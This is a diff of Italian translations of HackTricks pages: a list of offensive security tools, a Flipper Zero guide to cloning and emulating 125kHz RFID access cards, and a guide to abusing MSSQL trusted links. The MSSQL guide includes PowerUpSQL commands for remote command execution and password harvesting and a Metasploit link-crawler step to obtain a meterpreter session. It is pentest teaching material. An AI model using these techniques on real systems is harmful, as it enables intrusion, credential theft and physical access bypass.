* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Scoperta dei sottodomini
|
||||
* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : Scoperta dei sottodomini su github
|
||||
* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : Scoperta dei sottodomini in github
|
||||
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Scansione rapida delle porte
|
||||
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Sottodomini e URL dai file JS in un sito web
|
||||
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Sottodomini e URL dai file JS in un web
|
||||
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Dizionario dei file web
|
||||
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Estensione di Burp per evitare decine di schede ripetitive
|
||||
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Estensione di Burp per evitare decine di schede ripetute
|
||||
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Ottenere risorse
|
||||
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
|
||||
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Checklist per BugBounty web
|
||||
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Verifica una lista di domini contro Open Redirection
|
||||
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Checklist BugBounty web
|
||||
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Controlla una lista di domini contro il reindirizzamento aperto
|
||||
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Plugin di Burp, analisi offline per scoprire domini, sottodomini e IP
|
||||
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Elenco di diversi strumenti
|
||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Plug-in di BurpSuite per trovare vulnerabilità (SQLi, XSS, SSTI)
|
||||
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Estensione di Chrome per tracciare le funzioni post-messages
|
||||
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Test di autenticazione automatica (rimuovi i cookie e prova a inviare la richiesta)
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross è uno strumento di ricostruzione, scansione e test di penetrazione / BugBounty. Questo strumento è stato creato per testare vulnerabilità (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)
|
||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Plug-in BurpSuite per trovare vulnerabilità (SQLi, XSS, SSTI)
|
||||
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Estensione Chrome per tracciare le funzioni di post-messages
|
||||
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Test di autenticazione automatica (rimuove i cookie e cerca di inviare la richiesta)
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross è una Ricostruzione, Scanner e uno strumento per test di penetrazione / BugBounty. Questo strumento è stato creato per testare le vulnerabilità (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)
|
||||
# Windows
|
||||
|
||||
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Movimenti laterali
|
||||
* [https://freddiebarrsmith.com/trix/trix.html](https://freddiebarrsmith.com/trix/trix.html) : LOL bins
|
||||
* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Persistenza
|
||||
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Tecniche di iniezione di processi di Windows
|
||||
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Tecniche di iniezione di processi Windows
|
||||
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Script del Red Team
|
||||
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : Trova misconfigurazioni legate alla sicurezza in Active Directory Group Policy.
|
||||
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : trova misconfigurazioni legate alla sicurezza nelle impostazioni di gruppo di Active Directory.
|
||||
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Obfuscamento di Securestring
|
||||
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Spoofing del PID genitore
|
||||
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Crittografa i payload di Powershell
|
||||
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Crittografia di payload Powershell
|
||||
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : C2 Stealth
|
||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Serie di registrazioni su Windows Internals
|
||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Serie di log su Windows Internals
|
||||
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Traccia chi apre un documento
|
||||
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Cheat Sheet di Active Directory
|
||||
|
||||
# Firmware
|
||||
|
||||
Strumenti che sembrano interessanti per analizzare i firmware (automaticamente):
|
||||
Strumenti che potrebbero essere interessanti per analizzare i firmware (automatici):
|
||||
|
||||
* [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker)
|
||||
* [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core)
|
||||
* [https://gitlab.com/bytesweep/bytesweep-go](https://gitlab.com/bytesweep/bytesweep-go)
|
||||
|
||||
Post-crema:
|
||||
Post-analisi:
|
||||
|
||||
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
|
||||
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
|
||||
|
||||
Come estrarre il firmware se non lo troviamo online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||
Come estrarre i firmware se non li troviamo online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||
|
||||
Ecco un firmware con vulnerabilità da analizzare: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
||||
|
||||
e qui la metodologia owasp per analizzare i firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
|
||||
|
||||
Emulazione del firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) è una piattaforma per l'emulazione e l'analisi dinamica dei firmware basati su Linux.
|
||||
Emulazione firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) è una piattaforma per automatizzare l'emulazione e l'analisi dinamica dei firmware basati su Linux.
|
||||
|
||||
# ALTRO
|
||||
|
||||
|
@ -123,14 +127,26 @@ Emulazione del firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) è
|
|||
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : Strumenti di pentesting per iOS
|
||||
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Parole chiave
|
||||
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Hacking IoT (Wifi, BLE, SSDP, MDNS)
|
||||
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : Scansione automatizzata
|
||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Questa lista mira a coprire argomenti correlati alla sicurezza di Electron.js.
|
||||
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : scansione automatizzata
|
||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Questa lista mira a coprire argomenti relativi alla sicurezza di Electron.js.
|
||||
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Informazioni sui programmi BB
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici su** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Introduzione
|
||||
|
||||
Per ulteriori informazioni su come funzionano i tag a 125kHz, consulta:
|
||||
Per maggiori informazioni su come funzionano i tag a 125kHz, controlla:
|
||||
|
||||
{% content-ref url="../pentesting-rfid.md" %}
|
||||
[pentesting-rfid.md](../pentesting-rfid.md)
|
||||
|
@ -24,55 +29,60 @@ Per ulteriori informazioni su come funzionano i tag a 125kHz, consulta:
|
|||
|
||||
## Azioni
|
||||
|
||||
Per ulteriori informazioni su questi tipi di tag, [**leggi questa introduzione**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz).
|
||||
Per ulteriori informazioni su questi tipi di tag [**leggi questa introduzione**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz).
|
||||
|
||||
### Lettura
|
||||
|
||||
Tenta di **leggere** le informazioni della carta. Successivamente può **emularle**.
|
||||
Tenta di **leggere** le informazioni della carta. Poi può **emularle**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nota che alcuni citofoni cercano di proteggersi dalla duplicazione delle chiavi inviando un comando di scrittura prima della lettura. Se la scrittura ha successo, quel tag viene considerato falso. Quando Flipper emula l'RFID, non c'è modo per il lettore di distinguerlo da quello originale, quindi non si verificano tali problemi.
|
||||
Nota che alcuni citofoni cercano di proteggersi dalla duplicazione delle chiavi inviando un comando di scrittura prima della lettura. Se la scrittura ha successo, quel tag viene considerato falso. Quando Flipper emula l'RFID non c'è modo per il lettore di distinguerlo da quello originale, quindi non si verificano tali problemi.
|
||||
{% endhint %}
|
||||
|
||||
### Aggiungi manualmente
|
||||
### Aggiungi Manualmente
|
||||
|
||||
Puoi creare **schede false in Flipper Zero indicando manualmente i dati** e poi emularle.
|
||||
Puoi creare **carte false in Flipper Zero indicando i dati** che inserisci manualmente e poi emularle.
|
||||
|
||||
#### ID sulle schede
|
||||
#### ID sulle carte
|
||||
|
||||
A volte, quando ottieni una scheda, troverai l'ID (o parte) scritto sulla scheda visibile.
|
||||
A volte, quando ottieni una carta, troverai l'ID (o parte di esso) scritto sulla carta in modo visibile.
|
||||
|
||||
* **EM Marin**
|
||||
|
||||
Ad esempio, in questa scheda EM-Marin sulla scheda fisica è possibile **leggere gli ultimi 3 byte su 5 in chiaro**.\
|
||||
Gli altri 2 possono essere forzati se non puoi leggerli dalla scheda.
|
||||
Ad esempio, in questa carta EM-Marin è possibile **leggere gli ultimi 3 byte su 5 in chiaro** sulla carta fisica.\
|
||||
Gli altri 2 possono essere forzati se non riesci a leggerli dalla carta.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (30).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **HID**
|
||||
|
||||
Lo stesso accade in questa scheda HID, dove solo 2 byte su 3 possono essere trovati stampati sulla scheda.
|
||||
Lo stesso accade in questa carta HID dove solo 2 su 3 byte possono essere trovati stampati sulla carta
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Emula/Scrivi
|
||||
|
||||
Dopo aver **copiato** una scheda o aver **inserito** manualmente l'ID, è possibile **emularla** con Flipper Zero o **scrivere** i dati su una scheda reale.
|
||||
Dopo aver **copiato** una carta o **inserito** manualmente l'ID, è possibile **emularla** con Flipper Zero o **scriverla** su una carta reale.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,17 +1,22 @@
|
|||
# Abuso di AD MSSQL
|
||||
# Abuso di MSSQL AD
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **Enumerazione / Scoperta MSSQL**
|
||||
|
||||
Il modulo powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) è molto utile in questo caso.
|
||||
|
@ -65,7 +70,7 @@ Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
|
|||
## This won't use trusted SQL links
|
||||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
|
||||
```
|
||||
### RCE MSSQL
|
||||
### MSSQL RCE
|
||||
|
||||
Potrebbe essere anche possibile **eseguire comandi** all'interno dell'host MSSQL
|
||||
```powershell
|
||||
|
@ -74,13 +79,15 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
|||
```
|
||||
### Trucchi di Base per l'Hacking di MSSQL
|
||||
|
||||
Verifica nella pagina menzionata nella **sezione seguente come fare questo manualmente.**
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
||||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Collegamenti Affidabili di MSSQL
|
||||
|
||||
Se un'istanza di MSSQL è considerata affidabile (collegamento al database) da un'altra istanza di MSSQL. Se l'utente ha privilegi sul database affidabile, sarà in grado di **utilizzare il rapporto di fiducia per eseguire query anche nell'altra istanza**. Questi collegamenti possono essere concatenati e a un certo punto l'utente potrebbe essere in grado di trovare un database mal configurato dove può eseguire comandi.
|
||||
Se un'istanza di MSSQL è affidata (collegamento al database) da un'altra istanza di MSSQL. Se l'utente ha privilegi sul database affidato, sarà in grado di **utilizzare il rapporto di fiducia per eseguire query anche nell'altra istanza**. Questi rapporti di fiducia possono essere concatenati e a un certo punto l'utente potrebbe essere in grado di trovare un database mal configurato dove può eseguire comandi.
|
||||
|
||||
**I collegamenti tra database funzionano anche attraverso le fiducie tra foreste.**
|
||||
|
||||
|
@ -124,7 +131,7 @@ Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql
|
|||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
Metasploit cercherà di sfruttare solo la funzione `openquery()` in MSSQL (quindi, se non è possibile eseguire comandi con `openquery()`, sarà necessario provare il metodo `EXECUTE` **manualmente** per eseguire comandi, vedere di più di seguito.)
|
||||
Notice che metasploit cercherà di abusare solo della funzione `openquery()` in MSSQL (quindi, se non riesci ad eseguire comandi con `openquery()` dovrai provare il metodo `EXECUTE` **manualmente** per eseguire comandi, vedi di più sotto.)
|
||||
|
||||
### Manuale - Openquery()
|
||||
|
||||
|
@ -134,18 +141,18 @@ Da **Windows** potresti anche trovare i link ed eseguire comandi manualmente uti
|
|||
|
||||
_Accedi utilizzando l'autenticazione di Windows:_
|
||||
|
||||
![](<../../.gitbook/assets/image (167) (1).png>)
|
||||
![](<../../.gitbook/assets/image (805).png>)
|
||||
|
||||
#### Trova Collegamenti Affidabili
|
||||
#### Trova Link Attendibili
|
||||
```sql
|
||||
select * from master..sysservers;
|
||||
EXEC sp_linkedservers;
|
||||
```
|
||||
![](<../../.gitbook/assets/image (168).png>)
|
||||
![](<../../.gitbook/assets/image (713).png>)
|
||||
|
||||
#### Eseguire query in un link affidabile
|
||||
|
||||
Eseguire query attraverso il link (esempio: trovare più link nella nuova istanza accessibile):
|
||||
Eseguire le query attraverso il link (esempio: trovare più link nella nuova istanza accessibile):
|
||||
```sql
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
|
@ -153,7 +160,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
|||
Controlla dove vengono utilizzati apici singoli e doppi, è importante usarli in quel modo.
|
||||
{% endhint %}
|
||||
|
||||
![](<../../.gitbook/assets/image (169).png>)
|
||||
![](<../../.gitbook/assets/image (640).png>)
|
||||
|
||||
Puoi continuare questa catena di collegamenti fidati all'infinito manualmente.
|
||||
```sql
|
||||
|
@ -178,3 +185,20 @@ L'utente locale **MSSQL** di solito ha un tipo speciale di privilegio chiamato *
|
|||
Una strategia che molti autori hanno ideato è quella di forzare un servizio **SYSTEM** ad autenticarsi presso un servizio fraudolento o di tipo man-in-the-middle creato dall'attaccante. Questo servizio fraudolento è quindi in grado di impersonare il servizio **SYSTEM** mentre cerca di autenticarsi.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) ha una raccolta di queste varie tecniche che possono essere eseguite tramite il comando `execute-assembly` di Beacon.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,25 @@
|
|||
# AD CS Escalation di Dominio
|
||||
# Escalation del Dominio AD CS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
